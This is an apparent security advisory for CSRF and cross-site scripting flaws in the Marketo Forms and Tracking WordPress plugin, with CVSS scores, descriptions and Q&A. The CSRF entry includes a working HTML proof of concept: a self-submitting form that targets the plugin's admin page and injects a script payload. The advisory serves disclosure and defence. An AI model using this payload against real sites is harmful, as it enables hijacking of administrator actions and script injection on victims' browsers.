Risk | Low |
Patch available | NO |
Number of vulnerabilities | 2 |
CVE-ID | CVE-2020-6849 |
CWE-ID | CWE-352 CWE-79 |
Exploitation vector | Network |
Public exploit | Public exploit code for vulnerability #1 is available. |
Vulnerable software Subscribe |
Marketo Forms and Tracking Web applications / Modules and components for CMS |
Vendor | Hutchhouse |
Security Bulletin
This security bulletin contains information about 2 vulnerabilities.
EUVDB-ID: #VU24385
Risk: Low
CVSSv3.1: 5.8 [CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:P/RL:U/RC:C]
CVE-ID: CVE-2020-6849
CWE-ID:
CWE-352 - Cross-Site Request Forgery (CSRF)
Exploit availability: No
DescriptionThe vulnerability allows a remote attacker to perform cross-site request forgery attacks.
The vulnerability exists due to insufficient validation of the HTTP request origin. A remote attacker can trick the victim to visit a specially crafted web page and perform arbitrary actions on behalf of the victim on the vulnerable website.
PoC:
<html>
<form action="https://[host]/wp-admin/admin.php?page=marketo_fat" method="POST" id="csrf">
<input type="text" name="marketo_save" value="true">
<input type="text" name="marketo[marketo_id]" value=""><script>alert(document.cookie)</script>">
<input type="text" name="marketo[marketo_base_url]" value="">
<input type="text" name="marketo[user_id]" value="">
<input type="text" name="marketo[end_point]" value="">
<input type="text" name="marketo[secret]" value="">
<input type="text" name="marketo[popout_title]" value="">
<input type="text" name="marketo[popout_tabtext]" value="">
<input type="text" name="marketo[popout_snippet]" value="">
<input type="text" name="marketo[popout_form]" value="">
</form>
<script>
document.getElementById('csrf').submit();
</script>
</html>
Mitigation
Cybersecurity Help is currently unaware of any official solution to address this vulnerability.
Vulnerable software versionsMarketo Forms and Tracking: 1.0.0 - 1.0.2
External linkshttp://wpvulndb.com/vulnerabilities/10031/
http://zeroauth.ltd/blog/2020/01/17/cve-2020-6849-marketo-forms-and-tracking-wordpress-plugin-vulnerable-to-csrf-leading-to-xss-attack/
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote non-authenticated attacker via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability. However, proof of concept for this vulnerability is available.
EUVDB-ID: #VU24386
Risk: Low
CVSSv3.1: 5 [CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N/E:U/RL:U/RC:C]
CVE-ID: CVE-2020-6849
CWE-ID:
CWE-79 - Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Exploit availability: No
DescriptionThe disclosed vulnerability allows a remote attacker to perform cross-site scripting (XSS) attacks.
The vulnerability exists due to insufficient sanitization of user-supplied data. A remote authenticated attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of vulnerable website.
Successful exploitation of this vulnerability may allow a remote attacker to steal potentially sensitive information, change appearance of the web page, perform phishing and drive-by-download attacks.
MitigationCybersecurity Help is currently unaware of any official solution to address this vulnerability.
Vulnerable software versionsMarketo Forms and Tracking: 1.0.0 - 1.0.2
External linkshttp://wpvulndb.com/vulnerabilities/10031/
http://zeroauth.ltd/blog/2020/01/17/cve-2020-6849-marketo-forms-and-tracking-wordpress-plugin-vulne...
Q & A
Can this vulnerability be exploited remotely?
Yes. This vulnerability can be exploited by a remote authenticated user via the Internet.
Is there known malware, which exploits this vulnerability?
No. We are not aware of malware exploiting this vulnerability.